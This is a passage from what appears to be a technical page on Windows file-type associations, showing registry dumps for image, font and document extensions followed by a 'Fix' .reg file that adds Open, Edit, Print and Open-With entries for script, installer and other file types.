    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff
    ExtendedTileInfo    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;*System.Image.Dimensions
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Rating;System.Keywords;*System.Photo.PeopleNames;System.Comment;System.PropGroup.Origin;System.Author;System.Photo.DateTaken;System.ApplicationName;System.DateAcquired;System.Copyright;System.PropGroup.Image;System.Image.ImageID;System.Image.Dimensions;System.Image.HorizontalSize;System.Image.VerticalSize;System.Image.HorizontalResolution;System.Image.VerticalResolution;System.Image.BitDepth;System.Image.Compression;System.Image.ResolutionUnit;System.Image.ColorSpace;System.Image.CompressedBitsPerPixel;System.PropGroup.Camera;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Photo.FNumber;System.Photo.ExposureTime;System.Photo.ISOSpeed;System.Photo.ExposureBias;System.Photo.FocalLength;System.Photo.MaxAperture;System.Photo.MeteringMode;System.Photo.SubjectDistance;System.Photo.Flash;System.Photo.FlashEnergy;System.Photo.FocalLengthInFilm;System.PropGroup.PhotoAdvanced;System.Photo.LensManufacturer;System.Photo.LensModel;System.Photo.FlashManufacturer;System.Photo.FlashModel;System.Photo.CameraSerialNumber;System.Photo.Contrast;System.Photo.Brightness;System.Photo.LightSource;System.Photo.ExposureProgram;System.Photo.Saturation;System.Photo.Sharpness;System.Photo.WhiteBalance;System.Photo.PhotometricInterpretation;System.Photo.DigitalZoom;System.Photo.EXIFVersion;System.PropGroup.GPS;*System.GPS.Latitude;*System.GPS.Longitude;*System.GPS.Altitude;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemType;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemType;System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title
    PreviewDetails    REG_SZ    prop:System.Photo.DateTaken;System.Keywords;*System.Photo.PeopleNames;System.Rating;*System.Image.Dimensions;*System.Size;System.Title;System.Author;System.Comment;*System.OfflineAvailability;*System.OfflineStatus;System.Photo.CameraManufacturer;System.Photo.CameraModel;System.Subject;*System.Photo.FNumber;*System.Photo.ExposureTime;*System.Photo.ISOSpeed;*System.Photo.ExposureBias;*System.Photo.FocalLength;*System.Photo.MaxAperture;*System.Photo.MeteringMode;*System.Photo.SubjectDistance;*System.Photo.Flash;*System.Photo.FlashEnergy;*System.Photo.FocalLengthInFilm;*System.DateCreated;*System.DateModified;*System.SharedWith
    SetDefaultsFor    REG_SZ    prop:System.Author;System.Document.DateCreated;System.Photo.DateTaken
    ImageOptionFlags    REG_DWORD    0x1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\OpenWithList\PhotoViewer.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper
    (Default)    REG_EXPAND_SZ    @%SystemRoot%\system32\stobject.dll,-417
    MultiSelectModel    REG_SZ    Player
    NeverDefault    REG_SZ    

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    DelegateExecute    REG_SZ    {ff609cc7-d34d-4049-a1aa-2293517ffcc6}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\ShellEx\ContextMenuHandlers\ShellImagePreview
    (Default)    REG_SZ    {FFE2A43C-56B9-4bf5-9A79-CC6D4285608A}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.contact\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.contact\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}
    (Default)    REG_SZ    {13D3C4B8-B179-4ebb-BF62-F704173E7448}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fon
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Copyright
    InfoTip    REG_SZ    prop:System.Title;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.otf
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttc
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ttf
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.ItemTypeText;System.Company;System.FileVersion;System.Fonts.FontEmbeddability;System.Author;System.Copyright;System.Trademarks;System.FileDescription;DRM Description
    InfoTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    QuickTip    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText
    TileInfo    REG_SZ    prop:System.Title;System.Company;System.ItemTypeText

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wri
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf
    PerceivedType    REG_SZ    document

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\ShellEx

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rtf\ShellEx\{8895b1c6-b41f-4c1c-a562-0d564250836f}
    (Default)    REG_SZ    {a42c2ccb-67d3-46fa-abe6-7d2f3488c7a3}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.doc
    ExtendedTileInfo    REG_SZ    prop:System.ItemTypeText;System.Size;System.DateModified;System.Author;System.OfflineAvailability
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Keywords;System.Category;System.Comment;System.PropGroup.Origin;System.Author;System.Document.LastAuthor;System.Document.RevisionNumber;System.Document.Version;System.ApplicationName;System.Company;System.Document.Manager;System.Document.DateCreated;System.Document.DateSaved;System.Document.DatePrinted;System.Document.TotalEditingTime;System.PropGroup.Content;System.ContentStatus;System.ContentType;System.Document.PageCount;System.Document.WordCount;System.Document.CharacterCount;System.Document.LineCount;System.Document.ParagraphCount;System.Document.Template;System.Document.Scale;System.Document.LinksDirty;System.Language;System.PropGroup.FileSystem;System.ItemNameDisplay;System.ItemTypeText;System.ItemFolderPathDisplay;System.DateCreated;System.DateModified;System.Size;System.FileAttributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.FileOwner;System.ComputerName
    InfoTip    REG_SZ    prop:System.ItemTypeText;System.Size;System.DateModified;System.Document.PageCount
    PerceivedType    REG_SZ    document
    PreviewDetails    REG_SZ    prop:*System.DateModified;System.Author;System.Keywords;*System.Size;System.Title;System.Comment;System.Category;*System.Document.PageCount;System.ContentStatus;System.ContentType;*System.StorageProviderState;*System.OfflineAvailability;*System.OfflineStatus;System.Subject;*System.DateCreated;*System.SharedWith
    ThumbnailCutoff    REG_DWORD    0x0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.doc\shellex

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.doc\shellex\{BB2E617C-0920-11d1-9A0B-00C04FC2D6C1}
    (Default)    REG_SZ    {9DBD2C50-62AD-11d0-B806-00C04FD706EC}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.docx
    PreviewDetails    REG_SZ    prop:System.Title;System.Author;*System.Size;*System.DateModified;System.Keywords;System.Category;System.ContentStatus;System.ContentType;*System.OfflineAvailability;*System.OfflineStatus;*System.File.Owner;*System.Document.PageCount;System.Subject;System.Comment;*System.DateCreated;*System.DateAccessed;*System.Attributes;*System.SharedWith;*System.ComputerName;*System.Document.LastAuthor;*System.Document.DateCreated;*System.Document.DateSaved;*System.Document.DatePrinted;*System.Document.TotalEditingTime
    FullDetails    REG_SZ    prop:System.PropGroup.Description;System.Title;System.Subject;System.Keywords;System.Category;System.Comment;System.PropGroup.Origin;System.Author;System.Document.LastAuthor;System.Document.RevisionNumber;System.Document.Version;System.ApplicationName;System.Company;System.Document.Manager;System.Document.DateCreated;System.Document.DateSaved;System.Document.DatePrinted;System.Document.TotalEditingTime;System.PropGroup.Content;System.ContentStatus;System.ContentType;System.Document.PageCount;System.Document.WordCount;System.Document.CharacterCount;System.Document.LineCount;System.Document.ParagraphCount;System.Document.Template;System.Document.Scale;System.Document.LinksDirty;System.Language;System.PropGroup.FileSystem;System.DisplayName;System.CanonicalType;System.DisplayFolder;System.Size;System.DateCreated;System.DateModified;System.DateAccessed;System.Attributes;System.OfflineAvailability;System.OfflineStatus;System.SharedWith;System.File.Owner;System.ComputerName
    ExtendedTileInfo    REG_SZ    prop:System.CanonicalType;System.Size;System.DateModified;System.Author;System.OfflineAvailability
    InfoTip    REG_SZ    prop:Type;DocAuthor;DocTitle;DocSubject;DocComments;Size;Write

Fix

Perform the following 2 simple steps to fix the omissions.

Create the text file whisper.reg with the following content in an arbitrary, preferable empty directory:

REGEDIT4

; Copyright © 2001-2026, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\OpenWithList\Cmd.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /K Call \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bat\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cab\OpenWithProgIDs]
"CABFolder"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.chm\OpenWithList\HH.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.chm\Shell\Open\Command]
@="C:\\Windows\\HH.exe \"%L\""

; BUG: 'HH.exe -Decompile' fails with (properly) quoted file/pathname!

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.chm\Shell\Extract\Command]
@="C:\\Windows\\HH.exe -Decompile . %1"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\OpenWithList\Cmd.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe /D /K Call \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cmd\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.com\Shell\Open\Command]
@="\"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cpl\OpenWithList\Control.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cpl\Shell\CplOpen\Command]
@="C:\\Windows\\System32\\Control.exe \"%L\",%*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.cpl\Shell\RunAs\Command]
@="C:\\Windows\\System32\\RunDLL32.exe C:\\Windows\\System32\\Shell32.dll,Control_RunDLLAsUser \"%L\",%*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.emf\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.etl\Shell\Open\Command]
@="C:\\Windows\\System32\\MMC.exe C:\\Windows\\System32\\EventVwr.msc /L:\"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.evt\Shell\Open\Command]
@="C:\\Windows\\System32\\MMC.exe C:\\Windows\\System32\\EventVwr.msc /L:\"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.evtx\Shell\Open\Command]
@="C:\\Windows\\System32\\MMC.exe C:\\Windows\\System32\\EventVwr.msc /L:\"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.exe\Shell\Open\Command]
@="\"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fon\OpenWithList\FontView.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\OpenWithList\MSHTA.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\Shell\Open\Command]
@="C:\\Windows\\System32\\MSHTA.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.hta\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ico\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\OpenWithList\InfDefaultInstall.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\Shell\Install\Command]
@="C:\\Windows\\System32\\InfDefaultInstall.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ini]
"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ini\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.iso\OpenWithProgIDs\Windows.IsoFile]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.js\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\OpenWithList\CScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\OpenWithList\WScript.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\Shell\Open\Command]
@="C:\\Windows\\System32\\WScript.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jse\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.log]
"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.log\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msc\OpenWithList\MMC.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msc\Shell\Author\Command]
@="C:\\Windows\\System32\\MMC.exe /A \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msc\Shell\Open\Command]
@="C:\\Windows\\System32\\MMC.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msc\Shell\RunAs\Command]
@="C:\\Windows\\System32\\MMC.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msi\OpenWithList\MSIExec.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msi\Shell\Extract]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msi\Shell\Extract\Command]
@="C:\\Windows\\System32\\MSIExec.exe /A \"%L\" TARGETDIR=\"%W\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msi\Shell\Open\Command]
@="C:\\Windows\\System32\\MSIExec.exe /I \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msi\Shell\RunAs\Command]
@="C:\\Windows\\System32\\MSIExec.exe /I \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msp\OpenWithList\MSIExec.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msp\Shell\Open\Command]
@="C:\\Windows\\System32\\MSIExec.exe /P \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msp\Shell\RunAs\Command]
@="C:\\Windows\\System32\\MSIExec.exe /P \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msu\OpenWithList\WUSA.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msu\OpenWithProgIDs]
"CABFolder"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.msu\Shell\Open\Command]
@="C:\\Windows\\System32\\WUSA.exe \"%L\" %*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.otf\OpenWithList\FontView.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\OpenWithList\PowerShell.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\Open\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psc1\OpenWithList\PowerShell.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psc1\Shell\Open\Command]
@="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe -p \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\OpenWithList\MSTSC.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\Shell\Connect\Command]
@="C:\\Windows\\System32\\MSTSC.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\Shell\Edit\Command]
@="C:\\Windows\\System32\\MSTSC.exe -Edit \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rdp\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\OpenWithList\NotePad.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\OpenWithList\RegEdit.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\Shell\Edit]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\Shell\Edit\Command]
@="C:\\Windows\\System32\\NotePad.exe \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\Shell\Open\Command]
@="C:\\Windows\\RegEdit.exe /M \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\Shell\Print]
"NoSmartScreen"=""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.reg\Shell\Print\Command]
@="C:\\Windows\\System32\\NotePad.exe /P \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.rle\OpenWithList\MSPaint.exe]

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scp]
"PerceivedType"="Text"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Config]
@="C&onfigure"
"MUIVerb"="@C:\\Windows\\System32\\Shell32.dll,-10209"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Config\Command]
@="\"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Install]
@="&Install"
"MUIVerb"="@C:\\Windows\\System32\\Shell32.dll,-10210"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Install\Command]
@="C:\\Windows\\System32\\RunDLL32.exe C:\\Windows\\System32\\Desk.cpl,InstallScreenSaver \"%L\""

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Open]
@="T&est"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.scr\Shell\Open\Command]
@="\"%L\" /S"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.sct]
